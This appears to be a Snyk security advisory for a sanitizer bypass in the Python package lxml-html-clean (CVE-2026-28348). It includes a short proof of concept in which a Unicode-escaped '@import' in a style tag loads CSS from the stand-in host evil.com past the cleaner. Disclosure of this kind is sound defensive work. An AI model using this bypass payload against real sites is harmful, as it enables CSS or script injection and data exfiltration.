Improper Encoding or Escaping of Output Affecting lxml-html-clean package, versions [,0.4.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.23% (14th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-LXMLHTMLCLEAN-15369490
  • published3 Mar 2026
  • disclosed2 Mar 2026
  • credituug4na

Introduced: 2 Mar 2026

CVE-2026-28348  (opens in a new tab)
CWE-116  (opens in a new tab)

How to fix?

Upgrade lxml-html-clean to version 0.4.4 or higher.

Overview

lxml-html-clean is a HTML cleaner from lxml project

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the _has_sneaky_javascript() function. An attacker can cause external CSS to be loaded or execute scripts in certain browsers by injecting specially crafted Unicode escape sequences into style elements. This can lead to data exfiltration, UI manipulation, or script execution when the crafted input is rendered in a browser.

PoC

from lxml_html_clean import clean_html

# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>

References

CVSS Base Scores

version 4.0
version 3.1